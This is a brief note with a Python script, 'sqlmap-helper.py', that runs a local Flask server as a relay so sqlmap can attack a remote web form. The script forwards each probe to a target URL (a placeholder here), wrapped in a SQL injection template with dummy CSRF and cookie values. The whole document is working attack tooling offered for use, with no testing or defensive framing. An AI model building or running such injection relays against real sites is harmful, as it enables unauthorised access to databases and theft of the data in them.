Often sqlmap can't do what you want it to do, so this is a small helper to run a flask server locally and exploit 127.0.0.1:5000

sqlmap-helper.py

import httpx
from flask import Flask, request

URL = 'http://example.com/vuln'
client = httpx.Client(http2=True)
app = Flask(__name__)

@app.route("/vuln")
def hello_world():
    param = request.args['q']
    r = client.post(URL, data={
        'csrf': "csrf",
        'vuln': f"""1' OR ({param}) AND '1'='1""",
        #'vuln': param
    }, headers={'Cookie': "hi"})
    return r.text


if __name__ == '__main__':
    app.run()